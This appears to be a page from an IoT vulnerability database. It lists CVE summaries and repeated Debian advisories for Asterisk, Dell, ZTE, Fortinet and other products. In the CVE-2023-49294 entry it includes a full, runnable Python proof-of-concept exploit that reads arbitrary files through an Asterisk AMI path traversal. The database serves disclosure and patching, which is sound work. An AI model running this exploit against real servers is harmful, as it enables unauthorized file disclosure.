VARIoT IoT vulnerabilities database

Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1; as well as certified-asterisk prior to 18.9-cert6; Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. Commit d7d7764cb07c8a1872804321302ef93bf62cba05 contains a fix, which is part of versions 18.20.1, 20.5.1, 21.0.1, amd 18.9-cert6. Digium of Asterisk Race condition vulnerabilities exist in products from multiple vendors.Service operation interruption (DoS) It may be in a state. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033 Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange. CVE-2023-37457 The 'update' functionality of the PJSIP_HEADER dialplan function can exceed the available buffer space for storing the new value of a header. By doing so this can overwrite memory or cause a crash. This is not externally exploitable, unless dialplan is explicitly written to update a header based on data from an outside source. If the 'update' functionality is not used the vulnerability does not occur. CVE-2023-38703 PJSIP is a free and open source multimedia communication library written in C with high level API in C, C++, Java, C#, and Python languages. SRTP is a higher level media transport which is stacked upon a lower level media transport such as UDP and ICE. Currently a higher level transport is not synchronized with its lower level transport that may introduce a use-after-free issue. This vulnerability affects applications that have SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media transport other than UDP. This vulnerability’s impact may range from unexpected application termination to control flow hijack/memory corruption. CVE-2023-49294 It is possible to read any arbitrary file even when the `live_dangerously` option is not enabled. For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4. We recommend that you upgrade your asterisk packages. For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmWXIDJfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7 UeRqthAA0ZarRHMpoNwTCAiVuVzcNqGVls/XvEvDbw1DNgjeKptlm4qafmVxHd6F Jtloc8zD2w0sOCZCSbATZDosXlFCkAj09aI6oSfJOLBlqRDFVNhPn1Y4a1xOgAfl AZyn458v3TqlNFcZjJ89qHHociZ+fDfMUYpMsp/v9A4AOQjKn7AKYJ7aaL5PHR8b zejn2pP/8Hv592K4+xa5h/6a0AaXX0eOTlxZDFh7x93oP+op0k4v1J7ivP+Qs4wk T5iOqs6JrMc640ZprXB3c8HjapZt4ee5+Yp7An3Z7o/r9crXqT/6ocIRPmkomXVb bhZXSfEs5BmzkdWSnOBigSWthSp9umPKWWV9wUwSe1115XxhT43J7oBix9gkNCEu mN5Po/yaZQUDEtWx1DpVZtI3TNBwyv28f2XoUy72oq0WqEvBGC8hLDMXqjVWxhRh bRXfairiS/pfx2h4eIT5xUKX7xUUCEcGpZ2hIEgGGlS8TX2le+mWa+ipKNPYrBWJ Qvg+MJ2JD9O3jMMS85y7ISuWUDNSeIDUSa0E48QWExZd8tmuknyDgPx5i4/nDVC+ sxH1LnEgbUjLLfCCF0CZgbYebiEmUqyfvOSaJ3olekrxkje2WwVY+uJ4NJXBycPU +k3Db3c/h/zoYJ9A3ZKz/xu5L32grES2FMxdBDFeF/5VloO4/dg=N8+A -----END PGP SIGNATURE-----

Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, it is possible to read any arbitrary file even when the `live_dangerously` is not enabled. This allows arbitrary files to be read. Asterisk versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, contain a fix for this issue. Digium of Asterisk Path traversal vulnerabilities exist in products from multiple vendors.Information may be obtained. # Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated) # Date: 2023-03-26 # Exploit Author: Sean Pesce # Vendor Homepage: https://asterisk.org/ # Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/ # Version: 18.20.0 # Tested on: Debian Linux # CVE: CVE-2023-49294 #!/usr/bin/env python3 # # Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that # facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of # file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar # to the common INI configuration format. # # References: # https://nvd.nist.gov/vuln/detail/CVE-2023-49294 # https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f # https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/ import argparse import getpass import socket import sys CVE_ID = 'CVE-2023-49294' DEFAULT_PORT = 5038 DEFAULT_FILE = '/etc/hosts' DEFAULT_ACTION_ID = 0 DEFAULT_TCP_READ_SZ = 1048576 # 1MB def ami_msg(action, args, encoding='utf8'): assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}' assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}' if 'ActionID' not in args: args['ActionID'] = 0 line_sep = '\r\n' data = f'Action: {action}{line_sep}' for a in args: data += f'{a}: {args[a]}{line_sep}' data += line_sep return data.encode(encoding) def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ): assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}' sock.sendall(data) resp = b'' while not resp.endswith(b'\r\n\r\n'): resp += sock.recv(read_sz) return resp if __name__ == '__main__': # Parse command-line arguments argparser = argparse.ArgumentParser() argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server') argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT) argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True) argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None) argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE) argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID) if '-h' in sys.argv or '--help' in sys.argv: print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr) argparser.print_help() sys.exit(0) args = argparser.parse_args() # Validate command-line arguments assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}' args.host = socket.gethostbyname(args.host) if args.password is None: args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ') print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr) print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr) # Connect to the Asterisk AMI server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.connect((args.host, args.port)) # Read server banner banner = sock.recv(DEFAULT_TCP_READ_SZ) print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr) # Authenticate to the Asterisk AMI server login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password}) login_resp = tcp_send_rcv(sock, login_msg) while b'Authentication' not in login_resp: login_resp = tcp_send_rcv(sock, b'') if b'Authentication accepted' not in login_resp: print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr) sys.exit(1) #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr) print(f'[INFO] Login success', file=sys.stderr) # Obtain file data via path traversal traversal = '../../../../../../../../' cfg_msg = ami_msg('GetConfig', { 'ActionID': args.action_id, 'Filename': f'{traversal}{args.file}', #'Category': 'default', #'Filter': 'name_regex=value_regex,', }) resp = tcp_send_rcv(sock, cfg_msg) while b'Response' not in resp: resp = tcp_send_rcv(sock, b'') print(f'', file=sys.stderr) print(f'{resp.decode("utf8")}') if b'Error' in resp: sys.exit(1) pass # Done . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033 Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange. CVE-2023-37457 The 'update' functionality of the PJSIP_HEADER dialplan function can exceed the available buffer space for storing the new value of a header. By doing so this can overwrite memory or cause a crash. This is not externally exploitable, unless dialplan is explicitly written to update a header based on data from an outside source. If the 'update' functionality is not used the vulnerability does not occur. CVE-2023-38703 PJSIP is a free and open source multimedia communication library written in C with high level API in C, C++, Java, C#, and Python languages. SRTP is a higher level media transport which is stacked upon a lower level media transport such as UDP and ICE. Currently a higher level transport is not synchronized with its lower level transport that may introduce a use-after-free issue. This vulnerability affects applications that have SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media transport other than UDP. This vulnerability’s impact may range from unexpected application termination to control flow hijack/memory corruption. CVE-2023-49786 Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4. We recommend that you upgrade your asterisk packages. For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmWXIDJfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7 UeRqthAA0ZarRHMpoNwTCAiVuVzcNqGVls/XvEvDbw1DNgjeKptlm4qafmVxHd6F Jtloc8zD2w0sOCZCSbATZDosXlFCkAj09aI6oSfJOLBlqRDFVNhPn1Y4a1xOgAfl AZyn458v3TqlNFcZjJ89qHHociZ+fDfMUYpMsp/v9A4AOQjKn7AKYJ7aaL5PHR8b zejn2pP/8Hv592K4+xa5h/6a0AaXX0eOTlxZDFh7x93oP+op0k4v1J7ivP+Qs4wk T5iOqs6JrMc640ZprXB3c8HjapZt4ee5+Yp7An3Z7o/r9crXqT/6ocIRPmkomXVb bhZXSfEs5BmzkdWSnOBigSWthSp9umPKWWV9wUwSe1115XxhT43J7oBix9gkNCEu mN5Po/yaZQUDEtWx1DpVZtI3TNBwyv28f2XoUy72oq0WqEvBGC8hLDMXqjVWxhRh bRXfairiS/pfx2h4eIT5xUKX7xUUCEcGpZ2hIEgGGlS8TX2le+mWa+ipKNPYrBWJ Qvg+MJ2JD9O3jMMS85y7ISuWUDNSeIDUSa0E48QWExZd8tmuknyDgPx5i4/nDVC+ sxH1LnEgbUjLLfCCF0CZgbYebiEmUqyfvOSaJ3olekrxkje2WwVY+uJ4NJXBycPU +k3Db3c/h/zoYJ9A3ZKz/xu5L32grES2FMxdBDFeF/5VloO4/dg=N8+A -----END PGP SIGNATURE-----

The Remote Application Server in Parallels RAS before 19.2.23975 does not segment virtualized applications from the server, which allows a remote attacker to achieve remote code execution via standard kiosk breakout techniques. Parallels of Remote Application Server Exists in unspecified vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk versions 18.20.0 and prior, 20.5.0 and prior, and 21.0.0; as well as ceritifed-asterisk 18.9-cert5 and prior, the 'update' functionality of the PJSIP_HEADER dialplan function can exceed the available buffer space for storing the new value of a header. By doing so this can overwrite memory or cause a crash. This is not externally exploitable, unless dialplan is explicitly written to update a header based on data from an outside source. If the 'update' functionality is not used the vulnerability does not occur. A patch is available at commit a1ca0268254374b515fa5992f01340f7717113fa. Digium of Asterisk Classic buffer overflow vulnerabilities exist in products from multiple vendors.Information is tampered with and service operation is interrupted (DoS) It may be in a state. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-5596-1 security@debian.org https://www.debian.org/security/ Markus Koschany January 04, 2024 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : asterisk CVE ID : CVE-2023-37457 CVE-2023-38703 CVE-2023-49294 CVE-2023-49786 Debian Bug : 1059303 1059032 1059033 Multiple security vulnerabilities have been discovered in Asterisk, an Open Source Private Branch Exchange. CVE-2023-38703 PJSIP is a free and open source multimedia communication library written in C with high level API in C, C++, Java, C#, and Python languages. SRTP is a higher level media transport which is stacked upon a lower level media transport such as UDP and ICE. Currently a higher level transport is not synchronized with its lower level transport that may introduce a use-after-free issue. This vulnerability affects applications that have SRTP capability (`PJMEDIA_HAS_SRTP` is set) and use underlying media transport other than UDP. This vulnerability’s impact may range from unexpected application termination to control flow hijack/memory corruption. CVE-2023-49294 It is possible to read any arbitrary file even when the `live_dangerously` option is not enabled. CVE-2023-49786 Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. For the oldstable distribution (bullseye), these problems have been fixed in version 1:16.28.0~dfsg-0+deb11u4. We recommend that you upgrade your asterisk packages. For the detailed security status of asterisk please refer to its security tracker page at: https://security-tracker.debian.org/tracker/asterisk Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmWXIDJfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7 UeRqthAA0ZarRHMpoNwTCAiVuVzcNqGVls/XvEvDbw1DNgjeKptlm4qafmVxHd6F Jtloc8zD2w0sOCZCSbATZDosXlFCkAj09aI6oSfJOLBlqRDFVNhPn1Y4a1xOgAfl AZyn458v3TqlNFcZjJ89qHHociZ+fDfMUYpMsp/v9A4AOQjKn7AKYJ7aaL5PHR8b zejn2pP/8Hv592K4+xa5h/6a0AaXX0eOTlxZDFh7x93oP+op0k4v1J7ivP+Qs4wk T5iOqs6JrMc640ZprXB3c8HjapZt4ee5+Yp7An3Z7o/r9crXqT/6ocIRPmkomXVb bhZXSfEs5BmzkdWSnOBigSWthSp9umPKWWV9wUwSe1115XxhT43J7oBix9gkNCEu mN5Po/yaZQUDEtWx1DpVZtI3TNBwyv28f2XoUy72oq0WqEvBGC8hLDMXqjVWxhRh bRXfairiS/pfx2h4eIT5xUKX7xUUCEcGpZ2hIEgGGlS8TX2le+mWa+ipKNPYrBWJ Qvg+MJ2JD9O3jMMS85y7ISuWUDNSeIDUSa0E48QWExZd8tmuknyDgPx5i4/nDVC+ sxH1LnEgbUjLLfCCF0CZgbYebiEmUqyfvOSaJ3olekrxkje2WwVY+uJ4NJXBycPU +k3Db3c/h/zoYJ9A3ZKz/xu5L32grES2FMxdBDFeF/5VloO4/dg=N8+A -----END PGP SIGNATURE-----

Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit f57bd745b4cbed577ea654fad4701bea4d38b44c. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client. Achieving RCE is possible but unlikely, due to stack canaries in use by modern compiler toolchains. The published binaries for official clients Qt, Android, iOS/tvOS, and Embedded are built with stack canaries, but some unofficial clients may not use stack canaries. This vulnerability takes place after the pairing process, so it requires the client to be tricked into pairing to a malicious host. It is not possible to perform using a man-in-the-middle due to public key pinning that takes place during the pairing process. The bug was addressed in commit b2497a3918a6d79808d9fd0c04734786e70d5954.

Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit 50c0a51b10ecc5b3415ea78c21d96d679e2288f9 due to unmitigated usage of unsafe C functions and improper bounds checking. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The bug was addressed in commit 24750d4b748fefa03d09fcfd6d45056faca354e0. moonlight-common-c , Moonlight , moonlight embedded etc. multiple Moonlight Stream The product contains a classic buffer overflow vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit 50c0a51b10ecc5b3415ea78c21d96d679e2288f9 due to unmitigated usage of unsafe C functions and improper bounds checking. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client, or achieve remote code execution (RCE) on the client (with insufficient exploit mitigations or if mitigations can be bypassed). The bug was addressed in commit 02b7742f4d19631024bd766bd2bb76715780004e. moonlight-common-c , Moonlight , moonlight embedded etc. multiple Moonlight Stream The product contains a classic buffer overflow vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 on DDMC contain an OS command injection vulnerability in an admin operation. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the managed system application's underlying OS with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker on a managed system of DDMC. Dell PowerProtect Data Domain (Dell PowerProtect DD) is a set of hardware devices for data protection, backup, storage, and data deduplication from Dell (Dell)

Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an improper access control vulnerability. A local malicious user with low privileges could potentially exploit this vulnerability leading to escalation of privilege. Dell PowerProtect Data Domain (Dell PowerProtect DD) is a set of hardware devices from Dell Corporation of the United States for data protection, backup, storage and deduplication

Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an OS command injection vulnerability in administrator CLI. A local high privileged attacker could potentially exploit this vulnerability, to bypass security restrictions. Exploitation may lead to a system take over by an attacker . Dell PowerProtect Data Domain (Dell PowerProtect DD) is a set of hardware devices for data protection, backup, storage and deduplication from Dell (Dell). Dell PowerProtect Data Domain has a command execution vulnerability, which is caused by the failure to properly filter special characters and commands in the administrator command line interface. Attackers can exploit this vulnerability to cause the system to be taken over by attackers

Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain a path traversal vulnerability. A local high privileged attacker could potentially exploit this vulnerability, to gain unauthorized read and write access to the OS files stored on the server filesystem, with the privileges of the running application. Dell PowerProtect Data Domain (Dell PowerProtect DD) is a set of hardware devices for data protection, backup, storage and deduplication from Dell (Dell) in the United States. Dell PowerProtect Data Domain has a path traversal vulnerability, which is caused by the program failing to properly filter special elements in the resource or file path. Attackers can exploit this vulnerability to retrieve arbitrary files from the underlying file system through specially crafted web requests

There is a denial of service vulnerability in some ZTE mobile internet products. Due to insufficient validation of Web interface parameter, an attacker could use the vulnerability to perform a denial of service attack. ZTE of mc801a firmware and mc801a1 There are unspecified vulnerabilities in the firmware.Service operation interruption (DoS) It may be in a state. ZTE MC801A/MC801A1 are both 5g indoor WiFi routers from China ZTE Corporation (ZTE). ZTE MC801A and MC801A1 have a buffer overflow vulnerability

There is a command injection vulnerability in some ZTE mobile internet products. Due to insufficient input validation of multiple network parameters, an authenticated attacker could use the vulnerability to execute arbitrary commands. ZTE of mc801a firmware and mc801a1 Firmware contains a command injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. ZTE MC801A is a 5g indoor WiFi router from China ZTE Corporation

There is a buffer overflow vulnerability in some ZTE mobile internet producsts. Due to insufficient validation of tcp port parameter, an authenticated attacker could use the vulnerability to perform a denial of service attack. ZTE of mc801a firmware and mc801a1 Firmware has a classic buffer overflow vulnerability.Service operation interruption (DoS) It may be in a state. ZTE MC801A is a 5g indoor WiFi router from China ZTE Corporation

There is a SQL injection vulnerability in some ZTE mobile internet products.  Due to insufficient input validation of SMS interface parameter, an authenticated attacker could use the vulnerability to execute SQL injection and cause information leak. ZTE of mf833u1 firmware and MF286R The firmware has SQL There is an injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

** UNSUPPORTED WHEN ASSIGNED **An improper authentication vulnerability [CWE-287] in Fortinet FortiWAN version 5.2.0 through 5.2.1 and version 5.1.1 through 5.1.2 may allow an authenticated attacker to escalate his privileges via HTTP or HTTPs requests with crafted JWT token values. ** Not supported ** This issue is a vulnerability in an unsupported product. fortinet's FortiWan There is an authentication vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

** UNSUPPORTED WHEN ASSIGNED **A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability [CWE-22] in Fortinet FortiWAN version 5.2.0 through 5.2.1 and version 5.1.1. through 5.1.2 may allow an authenticated attacker to read and delete arbitrary file of the system via crafted HTTP or HTTPs requests. ** Not supported ** This issue is a vulnerability in an unsupported product. fortinet's FortiWan Exists in a past traversal vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Fortinet FortiWAN is a network device from the American company Fortinet. Used to perform load balancing and fault tolerance between different networks

A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 allows attacker to execute unauthorized code or commands via specifically crafted http get request parameters. fortinet's FortiWLM for, OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state

An improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiSandbox version 4.4.1 and 4.4.0 and 4.2.0 through 4.2.5 and 4.0.0 through 4.0.3 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 allows attacker to execute unauthorized code or commands via crafted HTTP requests. fortinet's FortiSandbox Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. Fortinet FortiSandbox is an APT (Advanced Persistent Threat) protection device from the American company Fortinet. The appliance offers features such as dual sandboxing technology, a dynamic threat intelligence system, real-time dashboards and reporting

A improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiSandbox version 4.4.1 and 4.4.0 and 4.2.0 through 4.2.5 and 4.0.0 through 4.0.3 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 and 3.0.0 through 3.0.4 allows attacker to execute unauthorized code or commands via crafted HTTP requests in capture traffic endpoint. fortinet's FortiSandbox Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. Fortinet FortiSandbox is an APT (Advanced Persistent Threat) protection device from the American company Fortinet. The appliance offers features such as dual sandboxing technology, a dynamic threat intelligence system, real-time dashboards and reporting